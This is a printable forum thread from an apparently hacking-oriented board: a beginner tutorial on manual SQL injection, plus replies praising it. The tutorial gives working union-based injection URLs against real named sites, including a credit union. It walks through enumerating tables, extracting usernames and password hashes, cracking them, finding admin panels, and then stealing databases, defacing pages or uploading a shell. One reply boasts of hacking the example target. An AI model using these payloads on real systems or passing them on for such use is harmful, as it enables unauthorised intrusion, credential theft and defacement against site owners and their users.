(TUTORIAL) How to do Manual SQL Injection [FULL BEGINNERS Guide to SQL Injection)

(TUTORIAL) How to do Manual SQL Injection [FULL BEGINNERS Guide to SQL Injection) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: (TUTORIAL) How to do Manual SQL Injection [FULL BEGINNERS Guide to SQL Injection) (/showthread.php?tid=3643497)

Pages: Pages 1 2 3 4

(TUTORIAL) How to do Manual SQL Injection [FULL BEGINNERS Guide to SQL Injection) - Orochimaru - Jul 24, 2013

Hello everyone, it's Orochimaru and today I will be giving you a guide to SQL Injection using the basics of manual injection. I will provide pictures, examples, step by step parts, tools and much more. so let's get started.

Tools you can use:

Google Dorks (For finding vulnerable websites)
MD5 Decrypter (Decrypting passwords in tables)
Hash Cracker (Backup decrypter)
Admin Page Finder #1 (Find admin page to login to)
Admin Page Finder #2 (Backup admin page finder)
String to ASCII Chart (For the part where you need to enter the column in ASCII)

Tutorial:

Okay so let's start by choosing a website, it must end with "ID=NUMBER". That is the SQLi vulnerability.
I will be choosing this site

Code 
http://calidus.ro/en/news.php?id=2

Now to test if the website is actually vulnerable, you just need to add an apostrophe to the end of it, so it looks like this:

Code 
http://calidus.ro/en/news.php?id=2'

and you should get a MySQL Error which is a good thing.

Finding amount of Columns

Now you are going to want to find the amount of columns, and you can do this by removing the apostrophe at the end and adding this to the end of your link:

Code 
+order+by+(number)--

Enter any number from 1-15, if you get an error, keep lowering the number until you don't and vice versa. Find the number that if you go one higher than you will get an error. So I will put

Code 
http://calidus.ro/en/news.php?id=2+order+by+5--

and I get an error, so I will lower it by one and the page loads perfectly, that number is the amount of columns on the site.

Gathering vulnerable columns

Now we want to find which columns are vulnerable, so we will do this, take out all the stuff on the link that comes after id=2 and replace it with this code:

Code 
+union+select+1,2,3,4--

Now in my case it's 1,2,3,4 because i have four columns, you change yours to how many columns you have and remember to add the "--" at the end. Also change ID=2 to either "Id=-2" or "Id=null" and your link should look like this:

Code 
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,4--

but remember to change column amount to yours!
Press enter and you will get a number or two, these are the vulnerable columns, now the MySQL version MUST be above 5 for this to work.

Checking MySQL Version

Next we will find the MySQL version of the columns, so pick one of the numbers that showed up on the site and look for it in your URL bar, then replace it with this code:

Code 
@@version

So your link should look like this

Code 
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,@@version--

(You can do whatever number you like, as long as it's vulnerable.)
The @@version code makes the website display it's MYSQL version

Retrieving Table Names

After that, we will find the table names and for this you need some codes:

Code 
group_concat(table_name,0x0a)

Code 
from+information_schema.tables

Code 
+where+table_schema=database()--

The 0x0a breaks the line between each table for easier viewing.

So you are now supposed to choose a vulnerable column and replace it with 'group_concat(table_name,0x0a)' and then add the last two codes in at the end.
Your link should look something like this:

Code 
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,group_concat(table_name,0x0a)+from+information_schema.tables+where+table_schema=database()--

Look for the "Users" table, or something like that, that's what you need.

Getting Column names from Tables

Now we will retrieve the column names from the tables, we are looking from the account info from the "users" table but first we need the columns.
We will need to replace some code, so look for "group_concat(table_name,0x0a) and replace (table_name,0x0a) with (column_name,0x0a)
Look for 'information_schema.tables' and replace 'tables' with 'columns'.
Finally, delete all the text after 'information_schema.tables' and infront of it add

Code 
where+table_name=char(ASCII CODE)

But wait, that won't work. This could be because one of the two reasons: You are copying directly from my tutorial and the table on your website is not called users, and two you need to use ASCII. So go to your website and find the table that you think is the users table. It could be "Admin_Login" or anything like that. Once you find it, use the String to ASCII link provided in the Links section to convert your table name to ASCII. It should come up like this "123 456 789". You must change it to "(123,456,789) by adding commas where the spaces were and brackets on both sides. So you need to put do the steps above but replace "ASCII CODE" with your table name in ASCII. Mine would be something like this "117,115,101,114,115".

Extracting Data from Columns

Great, now we have the columns in the 'users' table, we now need the account info so look for the important columns you need which can be "User ID" "ID" "User_Password" "Password" etc.
This means you must change the previous 'group_concat' to something like this

Code 
group_concat(user_ID,0x3a,username,0x3a,user_password,0x0a)

Then, delete everything after '+from' and replace with this code

Code 
+users--

So your link should look a little like this:

Code 
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,group_concat(ID,0x3a,username,0x3a,password,0x0​a),3,4,5,6,7,8,9,10,11,12,13+from+users--

Decrypting Account Detail Hashes

Finally, you should get some weird strings maybe mixed with text, that means the passwords are encrypted, mostly using MD5. So we want to go to this website: http://www.md5decrypt.org/
Then you want to enter the strings one by one, if MD5 doesn't work, try the other options like 'MD4', 'SHA1', etc.

Finding Admin Login Page

You finally have the user and password for the website, now what? You will need to find a page for you to login for admin access. For this you will be using an Admin Panel Finder, I have provided multiple links for them at the top of this tutorial, but I'll post the best here: http://sc0rpion.ir/
There, you've found your admin page and the admin login details, now you can do stuff like steal their DB, upload your deface page, upload a shell, and a lot more.

String Based Injection
Now if that first guide did not work, there may be a quick fix on your problem. If nothing happens when you type "union+select+1,3,3,7--" or whatever number, there is a fix and it's called String Based Injection. Basically what you do it first: If the ID was null change it to -(number) and add an apostrophe back infront of it so -69' would be an example. Then at the end where it says "--" you must change that to "--+-". If the tables are still not showing up, your numbers are not going high enough or the site is not vulnerable.

Thank you everyone for reading my basic SQL Injection tutorial for beginners, I hope you enjoyed and more to come soon!

* - Anon?M ID - Jul 24, 2013

this is a great tutorial.
have a good explanation and easy to understand for some beginners :)

thanks for the tut man. keep them up!

* - Advise - Jul 24, 2013

Nice HQ tutorial mate :)) Keep them up bro :!

* - Yupper - Jul 24, 2013

Hi, this looks like a great tutorial.
Good luck man.

* - Orochimaru - Aug 23, 2013

Cleaned up the tutorial, added explanations and added String Based Injection area at the bottom! Enjoy!

* - Liam™ - Aug 23, 2013

Vouch for this tutorial, me and b0rne successfully hacked this early before this was posted :P

* - Orochimaru - Aug 23, 2013

(Aug 23, 2013 10:14 AM)Liam™ Wrote: Vouch for this tutorial, me and b0rne successfully hacked this early before this was posted :P

LOL! Dude, any luck finding the admin page? It's like, erased from existence. :P

* - Thisissohardffs - Aug 24, 2013

What is the benefit of this VS sqlmap & other automatic injections

* - PoisonKnife - Aug 24, 2013

I have bookmarked the tutorial.
Thanks for making it!

* - Sʜᴀᴅᴏᴡ Rᴇᴀʟᴍ - Aug 24, 2013

Why does it have to be above version 5?

* - King Xerxes - Aug 24, 2013

this looks like a great tutorial. thanks!

* - Rykaa - Aug 24, 2013

this is one of the best noob friendly tuts ive seen

* - King Xerxes - Aug 24, 2013

I have bookmarked the tutorial.
Thanks for making it!

* - T0ucaNSaM - Aug 24, 2013

Beast mode right here bro . You need an excellent job with organization, explanation , more importantly HQ thread on this SQL injection. Enjoyed doing this TUT as well. Hopefully more to come from you man .

* - starwars1 - Aug 24, 2013

awesome tutorial,thanks for sharing,keep sharing more